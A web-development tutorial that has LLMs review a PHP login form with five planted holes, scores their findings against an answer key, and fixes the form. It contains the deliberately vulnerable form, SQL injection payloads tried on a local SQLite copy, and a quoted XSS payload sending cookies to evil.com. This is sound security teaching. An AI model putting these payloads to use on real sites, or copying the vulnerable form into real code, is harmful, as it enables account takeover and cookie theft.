Examples · Web Development
Find the holes in a PHP form
A PHP login form with five planted holes goes to two models, which answer in a JSON schema with the line, the kind, what an attacker does and the fix. Your code checks that every finding quotes the code really on its line, and scores the findings against an answer key. Then you fix the form and check both files with php -l.
Intermediate · 40 min
The idea
A login form is a few lines of PHP, and each of those lines can be a way in. The classic holes are always the same: SQL glued together from what the user typed, input echoed back into the page, no token against forged requests, passwords hashed with MD5.
A model can read the form and name the holes. Your code cannot judge whether a hole is real, but it can check three things:
- the answer has the shape you asked for: a JSON schema with an enum of kinds;
- every finding quotes the code that is really on its line;
- against an answer key, which planted holes were found, and what else the model said.
What you need
- A key and the
openailibrary, as in Your first API call in Python. - PHP on your computer, for
php -l. No web server and no database: nothing here runs the form.
The form
Save it as login.php. It works, and it has five planted holes. Look for them before the model does.
<?php
// login.php: members' area of the Legnano Robotics Club
session_start();
$db = new mysqli("localhost", "club", "Robot2026!", "club");
$error = "";
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$email = $_POST["email"];
$password = md5($_POST["password"]);
$sql = "SELECT id, name FROM members WHERE email = '$email' AND password = '$password'";
$result = $db->query($sql);
$member = $result->fetch_assoc();
if ($member) {
$_SESSION["member_id"] = $member["id"];
header("Location: /members.php");
exit;
}
$error = "Wrong password for " . $email;
}
?>
<!DOCTYPE html>
<html lang="en">
<head><meta charset="utf-8"><title>Members' login</title></head>
<body>
<h1>Members' login</h1>
<?php if ($error): ?>
<p class="error"><?= $error ?></p>
<?php endif; ?>
<form method="post" action="login.php">
<label>Email <input type="email" name="email" value="<?= $_POST["email"] ?? "" ?>"></label>
<label>Password <input type="password" name="password"></label>
<button>Log in</button>
</form>
</body>
</html>
The program
Save it as find_holes.py, next to the form.
import json
import os
import pathlib
import sys
from openai import OpenAI
client = OpenAI(
base_url="https://api.ai.itsincom.org/v1",
api_key=os.environ["API_KEY"],
)
KINDS = ["sql_injection", "xss", "csrf", "weak_password_hash", "hardcoded_secret", "session", "other"]
schema = {
"type": "object",
"properties": {
"findings": {
"type": "array",
"items": {
"type": "object",
"properties": {
"line": {"type": "integer"},
"code": {"type": "string"}, # copied by the model from that line
"kind": {"type": "string", "enum": KINDS},
"attack": {"type": "string"}, # what an attacker does with it
"fix": {"type": "string"},
},
"required": ["line", "code", "kind", "attack", "fix"],
},
},
},
"required": ["findings"],
}
model, path = sys.argv[1], sys.argv[2]
lines = pathlib.Path(path).read_text().splitlines()
numbered = "\n".join(f"{n:3} {line}" for n, line in enumerate(lines, 1))
answer = client.chat.completions.create(
model=model,
temperature=0,
messages=[
{"role": "system", "content": "You are a security reviewer for PHP web pages. Report only real "
"vulnerabilities, one finding per line of code. For each one, copy the "
"code of that line, say in one or two sentences what an attacker does "
"with it, and give the fix."},
{"role": "user", "content": f"Review {path}:\n\n{numbered}"},
],
response_format={"type": "json_schema", "json_schema": {"name": "holes", "schema": schema}},
)
if answer.choices[0].finish_reason != "stop":
sys.exit(f"The answer was cut off ({answer.choices[0].finish_reason}): run it again.")
findings = json.loads(answer.choices[0].message.content)["findings"]
def on_its_line(f):
"""The line exists, and the code the model copied is really on it."""
code = f["code"].strip()
return 1 <= f["line"] <= len(lines) and code != "" and code in lines[f["line"] - 1]
checked = [f for f in findings if on_its_line(f)]
print(f"{model}: {len(findings)} findings, {len(checked)} on their line")
for f in sorted(checked, key=lambda f: f["line"]):
print(f" {f['line']:3} {f['kind']}: {f['attack']}")
print(f" fix: {f['fix']}")
for f in findings:
if f not in checked:
print(f" NOT ON LINE {f['line']}: «{f['code']}» {f['kind']}")
# With an answer key, see which planted holes were found, and what else the model said.
if len(sys.argv) > 3:
holes = json.loads(pathlib.Path(sys.argv[3]).read_text())
matched = []
print("Planted holes:")
for hole in holes:
hits = [f for f in checked if f["kind"] == hole["kind"] and f["line"] in hole["lines"]]
matched += hits
print(f" {'found ' if hits else 'MISSED'} {hole['hole']}")
print("Not in the key (real, or a false alarm? You decide):")
for f in checked:
if f not in matched:
print(f" {f['line']:3} {f['kind']}: «{f['code'].strip()}»")
The answer key
Save it as holes.json, but read it only after your own search. Some holes can be named on two lines: the SQL injection where the query is glued (10) or where it runs (11), the missing token where the POST is handled (7) or where the form is (29).
[
{"hole": "SQL injection", "kind": "sql_injection", "lines": [10, 11]},
{"hole": "XSS in the error message", "kind": "xss", "lines": [18, 27]},
{"hole": "XSS in the email field", "kind": "xss", "lines": [30]},
{"hole": "No CSRF token", "kind": "csrf", "lines": [7, 29]},
{"hole": "MD5 for passwords", "kind": "weak_password_hash", "lines": [9]}
]
Run it with each model:
python3 find_holes.py qwen3-coder-30b login.php holes.json
python3 find_holes.py qwen3.8-27b login.php holes.json
Qwen3-Coder answers in about 4 seconds; Qwen3.8 thinks first and took 24 to 33 seconds in our runs.
What you should see
A run of qwen3.8-27b; the long fixes are shortened with …:
qwen3.8-27b: 6 findings, 6 on their line
4 hardcoded_secret: If the source file is ever exposed (misconfigured server, VCS leak, .git exposure), the attacker gains direct database credentials and can read or modify all member data.
fix: Store credentials in an environment variable or a secrets manager outside the codebase, e.g. …
9 weak_password_hash: MD5 is fast and unsalted; an attacker who obtains the database can crack all stored hashes in minutes with a GPU, and identical passwords produce identical hashes, enabling rainbow-table attacks.
fix: Use password_hash($_POST["password"], PASSWORD_ARGON2ID) for storage and password_verify() for comparison.
10 sql_injection: An attacker types `' OR '1'='1` in the email field, the query becomes `WHERE email = '' OR '1'='1' AND password = ...`, and they log in as the first member without knowing any password; they can also use UNION-based injection to exfiltrate the entire database.
fix: Use a prepared statement: $stmt = $db->prepare("SELECT id, name FROM members WHERE email = ? AND password = ?"); …
14 session: An attacker pre-sets a known session ID (e.g. via a link), the victim logs in with that session, and the attacker then uses the same session ID to impersonate the authenticated member.
fix: Call session_regenerate_id(true) immediately before setting the session variable: …
27 xss: An attacker submits an email like `<script>document.location='http://evil.com/?c='+document.cookie</script>`; the script is reflected unescaped into the page and executes in the victim's browser, stealing the session cookie.
fix: Escape the output: <p class="error"><?= htmlspecialchars($error, ENT_QUOTES, 'UTF-8') ?></p>
30 xss: An attacker crafts a URL or form that POSTs a value like `" onfocus="alert(document.cookie)` into the email field; the reflected value breaks out of the attribute and executes JavaScript in the victim's browser.
fix: Escape the value: value="<?= htmlspecialchars($_POST["email"] ?? '', ENT_QUOTES, 'UTF-8') ?>"
Planted holes:
found SQL injection
found XSS in the error message
found XSS in the email field
MISSED No CSRF token
found MD5 for passwords
Not in the key (real, or a false alarm? You decide):
4 hardcoded_secret: «$db = new mysqli("localhost", "club", "Robot2026!", "club");»
14 session: «$_SESSION["member_id"] = $member["id"];»
Both findings outside the key are real: a database password in the code ends up on GitHub, and a session ID that is not changed at login can be fixed by an attacker in advance. The key is only what we planted; a good reviewer finds more.
Two models, three runs each
qwen3-coder-30b |
qwen3.8-27b |
|
|---|---|---|
| SQL injection | 3 of 3 | 3 of 3 |
| XSS in the error message | 0 of 3 | 3 of 3 |
| XSS in the email field | 3 of 3 | 2 of 3 |
| No CSRF token | 0 of 3 | 0 of 3 |
| MD5 for passwords | 3 of 3 | 3 of 3 |
| Password in the code (line 4), not planted | 0 of 3 | 3 of 3 |
| No new session ID at login (line 14), not planted | 0 of 3 | 2 of 3 |
| False alarms | 1 in every run | none |
What happened in the cells that are not “3 of 3”:
- Qwen3-Coder's false alarm was the same in all three runs: line 18, filed as
sql_injection, because the error message is “potentially enabling account enumeration attacks”. It is not: the message is the same whether the email exists or not. The real problem of line 18 is the XSS it prepares, which Qwen3-Coder never named. - Qwen3.8's third run did find the XSS in the email field, but copied line 30 with one character missing, the
>before</label>. The program printed it asNOT ON LINE, so it does not count. A strict check sometimes throws away a right finding: read theNOT ON LINElist too, before you trust the score. - The CSRF token: no model named it, in six runs. A hole that is a line of code is easy to see. A hole that is a missing line is not: nothing on the page points at it. That part of the review is yours.
What the model got wrong: the attack
The hole on line 10 is real. The attack Qwen3.8 described is not. In SQL, AND binds tighter than OR, so with ' OR '1'='1 the query asks “email is empty, or (1 = 1 and the password is right)”: you still need someone's password.
Do not argue with the model: run the attack. This is the query of lines 9 to 12, in Python with SQLite, which ships with Python. Save it as try_injection.py:
import hashlib
import sqlite3
db = sqlite3.connect(":memory:")
db.execute("CREATE TABLE members (id INTEGER, name TEXT, email TEXT, password TEXT)")
db.execute("INSERT INTO members VALUES (1, 'Giulia Ferri', 'giulia.ferri@example.org', ?)",
(hashlib.md5(b"Mindstorms-7").hexdigest(),))
def login(email, password):
"""Lines 9 to 12 of login.php, in Python: the same query, glued together the same way."""
password = hashlib.md5(password.encode()).hexdigest()
sql = f"SELECT id, name FROM members WHERE email = '{email}' AND password = '{password}'"
return db.execute(sql).fetchone()
for email in ["giulia.ferri@example.org", "' OR '1'='1", "' OR 1=1 -- "]:
print(f"{email!r:28} -> {login(email, 'I do not know it')}")
'giulia.ferri@example.org' -> None
"' OR '1'='1" -> None
"' OR 1=1 -- " -> (1, 'Giulia Ferri')
The model's payload fails; ' OR 1=1 -- works, because -- turns the rest of the query, the password included, into a comment. In MySQL, -- needs the space after it. The model was right about the hole and wrong about the detail, and it wrote that same payload in all three runs.
The fixed form
On a real site it takes the place of login.php; here, save it as login_fixed.php, so you can compare the two:
<?php
// login.php: members' area of the Legnano Robotics Club, fixed
session_start();
$db = new PDO("mysql:host=localhost;dbname=club;charset=utf8mb4", "club", getenv("DB_PASSWORD"),
[PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
function e(string $text): string {
return htmlspecialchars($text, ENT_QUOTES, "UTF-8");
}
if (empty($_SESSION["csrf"])) {
$_SESSION["csrf"] = bin2hex(random_bytes(32));
}
$error = "";
$email = "";
if ($_SERVER["REQUEST_METHOD"] === "POST") {
if (!hash_equals($_SESSION["csrf"], $_POST["csrf"] ?? "")) {
http_response_code(400);
exit("This form has expired: reload the page.");
}
$email = $_POST["email"] ?? "";
$query = $db->prepare("SELECT id, password_hash FROM members WHERE email = ?");
$query->execute([$email]);
$member = $query->fetch(PDO::FETCH_ASSOC);
if ($member && password_verify($_POST["password"] ?? "", $member["password_hash"])) {
session_regenerate_id(true);
$_SESSION["member_id"] = $member["id"];
header("Location: /members.php");
exit;
}
$error = "Wrong email or password.";
}
?>
<!DOCTYPE html>
<html lang="en">
<head><meta charset="utf-8"><title>Members' login</title></head>
<body>
<h1>Members' login</h1>
<?php if ($error): ?>
<p class="error"><?= e($error) ?></p>
<?php endif; ?>
<form method="post" action="login.php">
<input type="hidden" name="csrf" value="<?= e($_SESSION["csrf"]) ?>">
<label>Email <input type="email" name="email" value="<?= e($email) ?>"></label>
<label>Password <input type="password" name="password"></label>
<button>Log in</button>
</form>
</body>
</html>
What changed, hole by hole:
- SQL injection:
preparewith a?. The email travels apart from the query and is never read as SQL. - XSS: everything printed goes through
e(), which ishtmlspecialchars.php -r 'echo htmlspecialchars("\" onfocus=\"alert(1)", ENT_QUOTES, "UTF-8");'prints" onfocus="alert(1): the quote can no longer close the attribute. - CSRF: a random token in the session and in a hidden field;
hash_equalscompares them. A form on another site cannot know it. - MD5: the sign-up page stores
password_hash($password, PASSWORD_DEFAULT), and the login checks it withpassword_verify. Slow on purpose, and with a salt. - And the two holes outside the key: the database password comes from
getenv, andsession_regenerate_id(true)gives a new session ID at login.
Check that both files are valid PHP:
php -l login.php
php -l login_fixed.php
No syntax errors detected in login.php
No syntax errors detected in login_fixed.php
php -l checks the syntax only: the broken form passes too. It tells you the fix did not break the file, not that the fix is right.
The fixed form, reviewed again
Run the program on the fixed form, without the key: python3 find_holes.py qwen3-coder-30b login_fixed.php. We did it twice per model.
qwen3.8-27b: 0 findings, in both runs.qwen3-coder-30b: 3 findings in both runs, all on their line, and all false alarms: line 22 ($email = $_POST["email"] ?? "";) as a weak password hash, line 26 (password_verify) as SQL injection, line 44 (the CSRF field) as CSRF, with “An attacker can forge a request with a valid CSRF token to perform unauthorized actions.”
The line check passes all three: the code is really there. The check proves where a finding points, never whether it is true. A reviewer that finds problems in every file is a reviewer you stop reading.
Good to know
- The existing MD5 hashes. A database full of MD5 does not become safe with a new login page. A common way out: at the next login, check the old hash once, and if it is right, save
password_hashof the password just typed and delete the MD5. temperature=0made the runs alike, not identical. Qwen3-Coder gave the same four findings three times; Qwen3.8 changed what it found from run to run.- Never test an attack on a site that is not yours. The SQLite script above is the safe way to see an injection work: your own copy, in memory.
Exercise
- Add a hole: a
<a href="<?= $_GET["back"] ?>">Back</a>link under the form. Add it toholes.jsonwith the right line. Do the models find it? - Add
"Check also what is missing: a CSRF token, rate limiting, a new session ID at login."to the system message. Does the CSRF hole come out now? Does Qwen3-Coder's false alarm on line 18 go away? - Run
try_injection.pywith"giulia.ferri@example.org' -- "as the email. What happens, and why is it worse than' OR 1=1 --? - Make the check gentler: compare only the letters and digits of the copied code and of the line, with
re.sub(r"\W", "", text). Does Qwen3.8's third run now count line 30? What could a gentler check let through?
